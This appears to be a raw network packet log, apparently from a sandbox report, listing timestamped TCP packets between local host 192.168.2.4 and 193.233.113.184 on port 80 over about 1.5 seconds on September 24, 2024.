Sep 24, 2024 21:30:05.407874107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.407891035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.407910109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.407928944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.407938004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.407964945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.407969952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.408000946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.408009052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.408045053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.408710957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.408746004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.408763885 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.408781052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.408787966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.408816099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.408823967 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.408849001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.408854961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.408885002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.408890009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.408926964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.409636974 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.409684896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.409694910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.409719944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.409724951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.409754992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.409760952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.409789085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.409791946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.409827948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.410552025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.410587072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.410615921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.410620928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.410631895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.410656929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.410662889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.410691023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.410701036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.410726070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.410732985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.410767078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.411297083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.411333084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.411345959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.411367893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.411375046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.411415100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.411437035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.411472082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.411490917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.411506891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.411519051 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.411547899 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.435741901 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.435842037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.435883045 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.435890913 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.435904980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.435937881 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.436295986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.436326981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.436345100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.436377048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.436378956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.436409950 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.436456919 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.436892033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.436924934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.436981916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.437046051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.437097073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.437129021 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.437161922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.437172890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.437195063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.437211990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.437278986 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.438098907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.438133955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.438152075 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.438168049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.438175917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.438203096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.438210011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.438235998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.438242912 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.438272953 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.438276052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.438302040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.438316107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.438349009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.464173079 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.464210987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.464252949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.464267969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.464279890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.464364052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.464603901 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.464637041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.464654922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.464710951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.464971066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.465017080 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.465189934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.465223074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.465236902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.465261936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.465265036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.465302944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.465347052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.465383053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.465390921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.465430975 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.465831995 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.465864897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.465878010 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.465898991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.465904951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.465940952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.465940952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.465976954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.466001034 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.466020107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.466737986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.466773033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.466784000 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.466806889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.466816902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.466850042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.466897964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.466931105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.466947079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.466965914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.466974020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.467005968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.467787027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.467822075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.467835903 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.467856884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.467864990 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.467897892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.467947960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.467983007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.467993021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.468017101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.468023062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.468056917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.468488932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.468537092 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.468683004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.468717098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.468730927 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.468750954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.468756914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.468795061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.468802929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.468837023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.468843937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.468877077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.494517088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494533062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494556904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494565964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494574070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494580984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494587898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494596004 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494613886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494631052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494648933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494657040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494663954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494672060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494678020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494692087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494699955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494708061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.494709969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494719982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494726896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494735003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494751930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494756937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.494770050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494787931 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.494796038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.494818926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.494832039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.496371984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.496387959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.496402979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.496436119 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.496460915 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.496556044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.496572971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.496673107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.496913910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.496931076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.496943951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.496969938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.496989965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.497097969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.497114897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.497123003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.497158051 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.497169971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.497740984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.497764111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.497775078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.497783899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.497798920 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.497833014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.497903109 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.498198986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.498214960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.498229027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.498245001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.498248100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.498260975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.498267889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.498271942 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.498332977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.499274015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.499289036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.499296904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.499305010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.499319077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.499345064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.499382019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.499905109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.499921083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.499946117 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.499950886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.499979019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.499980927 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.499994993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.500009060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.500014067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.500014067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.500066042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.524770021 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.524868011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.524882078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.524904966 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.524914980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.524976969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.525037050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.525070906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.525083065 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.525105953 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.525118113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.525177956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.525185108 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.525269032 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.525841951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.525873899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.525892019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.525906086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.525932074 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.525983095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.525985956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.526021957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.526029110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.526101112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.526384115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.526421070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.526433945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.526495934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.526741028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.526773930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.526806116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.526807070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.526824951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.526854992 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.526887894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.526912928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.526959896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.527636051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.527669907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.527734041 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.552654982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.552690029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.552731991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.552755117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.552787066 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.552823067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.552874088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.552891970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.552943945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.553263903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.553296089 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.553313971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.553343058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.553383112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.553664923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.553720951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.553756952 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.553813934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.553813934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.553915024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.553950071 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.553971052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.553977966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.553988934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.554120064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.554171085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.554295063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.554327011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.554371119 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.554457903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.554510117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.554985046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.555017948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.555041075 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.555051088 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.555087090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.555092096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.555094004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.555159092 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.555176973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.555210114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.555224895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.555253029 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.555692911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.555727005 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.555741072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.555799007 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.555856943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.555891991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.555905104 CEST	49730	80	192.168.2.4	193.233.113.184
